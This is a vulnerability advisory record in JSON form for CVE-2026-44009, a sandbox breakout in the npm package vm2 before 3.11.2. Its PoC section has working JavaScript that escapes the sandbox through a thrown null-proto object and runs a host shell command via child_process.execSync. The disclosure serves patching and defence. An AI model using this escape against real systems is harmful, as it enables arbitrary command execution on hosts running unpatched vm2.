{"id":"GHSA-9vg3-4rfj-wgcm","revision":"120f082b680c496a9535c31f170f8e88","records":[{"revision":"120f082b680c496a9535c31f170f8e88","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-9vg3-4rfj-wgcm","aliases":["CVE-2026-44009"],"title":"vm2 has Sandbox Breakout Through Null Proto Exception","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nIn `handleException` due to ``// SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`)`` exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host `Function` object.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst o = {__proto__: null};\ntry {\n\tthrow o;\n} catch (e) {\n\te.f = Buffer.prototype.inspect\n\to.f.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n}\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.","state":0,"publishedAt":"2026-05-08T16:20:58+00:00","modifiedAt":"2026-05-14T20:50:10.412463+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.11.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-9vg3-4rfj-wgcm","https://nvd.nist.gov/vuln/detail/CVE-2026-44009","https://github.com/patriksimek/vm2","https://github.com/patriksimek/vm2/releases/tag/v3.11.2"],"sourceUrl":"https://github.com/advisories/GHSA-9vg3-4rfj-wgcm","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-9vg3-4rfj-wgcm","identifiers":["GHSA-9vg3-4rfj-wgcm","CVE-2026-44009"]},"retained":false,"historicalAffected":[]}],"coverage":[]}